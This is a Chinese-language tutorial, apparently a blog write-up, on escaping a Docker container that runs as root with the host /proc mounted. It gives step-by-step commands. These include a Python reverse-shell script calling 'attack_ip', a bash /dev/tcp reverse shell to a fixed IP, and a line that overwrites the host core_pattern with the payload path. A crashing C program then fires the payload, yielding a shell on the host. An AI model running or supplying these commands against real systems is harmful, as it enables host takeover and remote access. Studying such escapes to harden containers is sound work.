将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是| 管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该文件,同时运行进程崩溃代码,执行恶意文件
1、容器内挂载了宿主机的/proc目录
2、容器以root权限运行
docker run -itd -v /proc:/etc_proc --name=docker_escape ubuntu:18.04 /bin/bash
cat /proc/mounts | grep docker
这就是容器在宿主机上的目录路径
我们在容器内创建的文件最终都会保存在宿主机中
这里可以写Python,也可以写shell脚本
Python:
- root@8ba918290061:/# cat >/tmp/.x.py << EOF
- > #!/usr/bin/python
- > import os
- > import pty
- > import socket
- > lhost = "attack_ip"
- > lport = 10000
- > def main():
- > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- > s.connect((lhost, lport))
- > os.dup2(s.fileno(), 0)
- > os.dup2(s.fileno(), 1)
- > os.dup2(s.fileno(), 2)
- > os.putenv("HISTFILE", '/dev/null')
- > pty.spawn("/bin/bash")
- > os.remove('/tmp/.x.py')
- > s.close()
- > if __name__ == "__main__":
- > main()
- > EOF
需要容器内有Python环境
shell:
- #!/bin/bash
-
- bash -i >& /dev/tcp/192.168.239.138/2333 0>&1
最后别忘了加执行权限
chmod +x /tmp/exp.sh
root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore " > /etc_proc/sys/kernel/core_pattern
写入后,当进程崩溃后,该文件内管道符| 后的文件会被执行,从而执行了我们的exp.sh文件,反弹shell
- #include
- int main(void) {
- int *a = NULL;
- *a = 1;
- return 0;
- }
最后加执行权限,编译后执行
- chmod +x payload.c
- gcc payload.c -o payload
- ./payload
成功反弹shell
